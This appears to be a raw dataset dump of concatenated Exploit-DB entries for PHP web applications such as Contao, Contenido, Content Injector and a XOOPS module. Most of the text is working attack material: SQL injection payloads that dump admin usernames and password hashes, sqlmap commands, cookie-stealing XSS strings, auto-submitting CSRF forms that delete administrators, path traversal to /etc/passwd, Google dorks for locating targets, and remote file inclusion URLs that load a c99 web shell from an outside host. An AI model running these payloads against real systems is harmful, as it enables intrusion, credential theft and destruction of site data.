deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42728
Description: Consumer Review Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-12
Author: 8bitsec

Exploit:
# Exploit Title: Consumer Review Script v1.0 - SQL Injection
# Date: 2017-09-12
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/product/consumer-review-script/
# Software Link: http://www.phpscriptsmall.com/product/consumer-review-script/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-12

Product & Service Introduction:
===============================
Consumer Review Script

Technical Details & Description:
================================

SQL injection on [idvalue] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/review-details.php?idvalue=9 and sleep(5)

Parameter: idvalue (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: idvalue=90 AND (SELECT 5020 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(5020=5020,1))),0x717a627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: idvalue=90 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #42734
Description: Contact Manager 1.0 - 'femail' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-15
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Contact Manager 1.0 - SQL Injection
# Dork: N/A
# Date: 15.09.2017
# Vendor Homepage: http://savsofteproducts.com/
# Software Link: http://www.contactmanagerscript.com/download/contact_manager_[PII_REDACTED].zip
# Demo: http://contactmanagerscript.com/demo/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Vulnerable Source:
#
# .............
# <a href="login.php?forgot=1">Forgot Password ?</a>
# <?php
# if(isset($_REQUEST["forgot"])){
# if($_REQUEST["forgot"]=="2"){
# $result=mysql_query("select * from co_setting where Email='$_REQUEST[femail]' ");
# $count=mysql_num_rows($result);
# if($count==1)
# 
# {
# 
# $npass=rand("5556","99999");
# 
# $to      = $row['femail'];
# $subject = "Password Reset";
# $message = "New Primary Password is: $npass \r\n";
# $headers = "From: $Email";
# 
# $npass=md5($npass);
# 
# $query="update co_setting set [CREDENTIAL_REDACTED]' where Email='$_REQUEST[femail]'";
# mysql_query($query);
# .............
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/login.php?forgot=2&femail=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #50945
Description: Contao 4.13.2 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-06-03
Author: Chetanya Sharma

Exploit:
# Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 04/28/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://contao.org/en/
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2
# Version: [ 4.13.2 ] 
# Tested on: [KALI OS]
# CVE : CVE-2022-1588
# References: 
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
---------------

Steps to reproduce:
Navigate to the below URL
URL: https://localhost/contao/"><svg//onload=alert(112233)>
Exploit-DB #18527
Description: ContaoCMS (aka TYPOlight) 2.11 - Cross-Site Request Forgery (Delete Admin / Delete Article)
Type: webapps
Platform: php
Date: 2012-02-26
Author: Ivano Binetti

Exploit:
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)
# Date          : 25-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.contao.org/en/download.html
# Vendor site   : http://www.contao.org
# Version       : 2.11.0 (latest) and lower 
# Tested on     : Debian Squeeze (6.0) 
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
  2.1 Delete Administrators or Users 
  2.2 Delete News
  2.3 Delete Newsletter
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
is easy to maintain".

2)Vulnerabilities Description
Contao 2.11 (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages 
(articles, news, newsletter and so on).
 
 2.1 Delete Administrators or Users
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete ADMIN/USER account</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2">
  </body>
  </html>

  Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.
  
  2.2 Delete News
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete News</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1">
  </form>
  </body>
  </html>


  2.3 Delete Newsletter 
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to delete Newsletter</H2>
  <form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1">
  </form>
  </body>
  </html>
+--------------------------------------------------------------------------------------------------------------------------------+
Exploit-DB #36225
Description: ContaoCMS 2.10.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-02
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/50061/info

Contao is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Contao 2.10.1 is vulnerable; other versions may also be affected. 

http://www.example.com/contao-2.10.1/index.php/teachers.html?"/><script>alert(&#039;xss&#039;)</script>
http://www.example.com/contao-2.10.1/index.php/teachers/&#039;"</style></script><script>alert(document.cookie)</script>
Exploit-DB #15659
Description: Contenido CMS 4.8.12 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-02
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22635
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_contenido_cms.html
Product: Contenido CMS
Vendor: four for business AG ( http://www.contenido.org/ ) 
Vulnerable Version: 4.8.12 and Probably Prior Versions
Vendor Notification: 29 September 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the contact form to properly sanitize user-supplied input in many parameters. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
document.M.Submit();
<script>

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "front_content.php" script to properly sanitize user-supplied input in "idart" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Solution: Upgrade to the most recent version
Exploit-DB #35043
Description: Contenido CMS 4.8.12 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-02
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45160/info

Contenido CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Contenido CMS 4.8.12 is vulnerable; other versions may also be affected. 

<form action=http://www.example.com/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye=&#039;z"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.M.Submit();
<script>


http://www.example.com/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #30634
Description: Content Builder 0.7.5 - 'postComment.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-03
Author: Mehrad Ansari Targhi

Exploit:
source: https://www.securityfocus.com/bid/25914/info

Content*Builder (C*B) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

C*B 0.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a=
Exploit-DB #4645
Description: Content Injector 1.52 - 'index.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-22
Author: S.W.A.T.

Exploit:
--==+================================================================================+==--
--==+             Content Injector V1.52 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--


AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.p3mbo.com/cinj152.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by Content Injector v1.52"
Dork2(google):  Powered by Content Injector v1.52

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It  ;) 

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/index.php?cat=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:
admin login is at /admin/

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

GREETZ: All Xmors Digital Security Team - Str0ke
Own Page: wWw.SvvaT.IR
Group Site: wWw.XmorS.CoM


--==+================================================================================+==--
--==+             Content Injector V1.52 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-11-22]
Exploit-DB #4706
Description: Content Injector 1.53 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-09
Author: S.W.A.T.

Exploit:
--==+================================================================================+==--
--==+             Content Injector V1.53 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--


AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.p3mbo.com/cinj153.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by Content Injector v1.53"
Dork2(google):  Powered by Content Injector v1.53

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It   ;)  

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/index.php?action=expand&id=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:
admin login is at /admin/  It Is New Version With New Query & Different Between The Last One I Found

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

About Me:
Maybe I Give Bye To NET  :(  1 month later :((

I'm Suposed To Die These Days

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

GREETZ: All Xmors Digital Security Team - Str0ke
Own Page: wWw.SvvaT.IR
Group Site: wWw.XmorS.CoM


--==+================================================================================+==--
--==+             Content Injector V1.53 SQL Injection Vulnerbility                  +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09]
Exploit-DB #49272
Description: Content Management System 1.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-17
Author: Zhaiyi

Exploit:
# Exploit Title: Content Management System 1.0 - 'email' SQL Injection
# Exploit Author: Zhayi (Zeo)
# Date: 2020-12-14
# Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: WINDOWS 10

Step 1. Capture the request of the "http://127.0.0.1/ajax.php?action=login"
page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r
request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast
--dbs "
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents

POST the packet
---
POST /ajax.php?action=login HTTP/1.1
Host: 10.211.55.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Content-Length: 61
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=ltiafgjrnml0d8kqe58gcsk1v3
Origin: http://10.211.55.4
Referer: http://10.211.55.4/login.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

email=admin%40admin.com%27and%27p%27%3D%27p&[CREDENTIAL_REDACTED]
---

SQLMAP
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: email=admin@admin.com'and'p'='p' AND 9108=9108 AND
'WlxU'='WlxU&[CREDENTIAL_REDACTED]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@admin.com'and'p'='p' AND (SELECT 3864 FROM
(SELECT(SLEEP(5)))pNJR) AND 'hxyZ'='hxyZ&[CREDENTIAL_REDACTED]
---
Exploit-DB #49271
Description: Content Management System 1.0 - 'First Name' Stored XSS
Type: webapps
Platform: php
Date: 2020-12-17
Author: Zhaiyi

Exploit:
# Exploit Title:Content Management System 1.0 - 'First Name' Stored XSS
# Exploit Author: Zhayi (Zeo)
# Date: 2020-12-14
# Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Tested on: WINDOWS 10

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on the logged in username on header and select Manage Account.
Step 3: Rename the user First Name to
"<script>alert(document.domain)</script>".
Step 4: Update Profile and this will trigger the XSS.
Step 5: Logout and login again and the page will display the domain name.
Exploit-DB #49273
Description: Content Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-17
Author: Zhaiyi

Exploit:
# Exploit Title: Content Management System 1.0 - 'id' SQL Injection
# Exploit Author: Zhayi (Zeo)
# Date: 2020-12-14
# Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: WINDOWS 10

Step 1. Capture the request of the "
http://127.0.0.1/ajax.php?action=load_list" page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r
request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast
--dbs "
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents

POST the packet
---
POST /ajax.php?action=load_list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Content-Length: 63
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=ltiafgjrnml0d8kqe58gcsk1v3
Origin: http://127.0.0.1
Referer:
http://127.0.0.1/index.php?page=list&c=sub_navigation_1&cid=eccbc87e4b5ce2fe28308fd9f2a7baf3
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=eccbc87e4b5ce2fe28308fd9f2a7baf3%27and%27u%27%3D%27u&start=0
---

SQLMAP
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=eccbc87e4b5ce2fe28308fd9f2a7baf3'and'u'='u' AND 9689=9689
AND 'ZPQO'='ZPQO&start=0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=eccbc87e4b5ce2fe28308fd9f2a7baf3'and'u'='u' AND (SELECT
6418 FROM (SELECT(SLEEP(5)))ROIx) AND 'XaBw'='XaBw&start=0

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=eccbc87e4b5ce2fe28308fd9f2a7baf3'and'u'='u' UNION ALL
SELECT
NULL,NULL,NULL,NULL,CONCAT(0x7171716a71,0x[PII_REDACTED][PII_REDACTED]66536c6e[PII_REDACTED]72504f746f7a5a4c52624d4c[PII_REDACTED]51725242,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL--
-&start=0
---
Exploit-DB #5510
Description: Content Management System for Phprojekt 0.6.1 - File Disclosure
Type: webapps
Platform: php
Date: 2008-04-27
Author: Houssamix

Exploit:
--------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------

= Author : HouSSaMix                          
= Script : 	Content Management System for Phprojekt
= version : 0.6.1
= Download : http://www.mariovaldez.net/software/cm_4p/download.php
      			           
							   
= BUG  :  Remote File Disclosure Vulnerability 

 Vulnerable CODE :
~~~~~~~~ graphie.php ~~~~~~~~~~~~~~~~~
readfile ($cm_imgpath . "/t.gif");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
variable " $cm_imgpath " not declared 	 

= Exploit :

target.com/cm/graphie.php?cm_imgpath=../.././../[file]
target.com/cm/graphie.php?cm_imgpath=../.././../etc/passwd

= see phpinfo 
target.com/cm/phpinfo.php



= greetz :	V40 - marwen.neo and all muslims Hackers

=================================================================================================================

# milw0rm.com [2008-04-27]
Exploit-DB #5501
Description: Content Management System for Phprojekt 0.6.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-26
Author: RoMaNcYxHaCkEr

Exploit:
-==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : cm4p 0.6.1 Multiple Remote File Include Vulnerabiliy

# Download From : http://www.mariovaldez.net/software/cm_4p/download.php

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Exploits :

http://WwW.4RxH.CoM/cm/cm_navigation-33.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/cm/cm_navigation.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/cm/cm_summary.inc.php?path_pre=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-04-26]
Exploit-DB #33381
Description: Content Module 0.5 for XOOPS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-30
Author: s4r4d0

Exploit:
source: https://www.securityfocus.com/bid/37155/info

The Content module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Content 0.5 is affected; other versions may also be vulnerable. 

http://www.example.com/modules/content/index.php?id=-1+UNION+SELECT+1,2,3,@@version,5,6,7,8,9,10,11--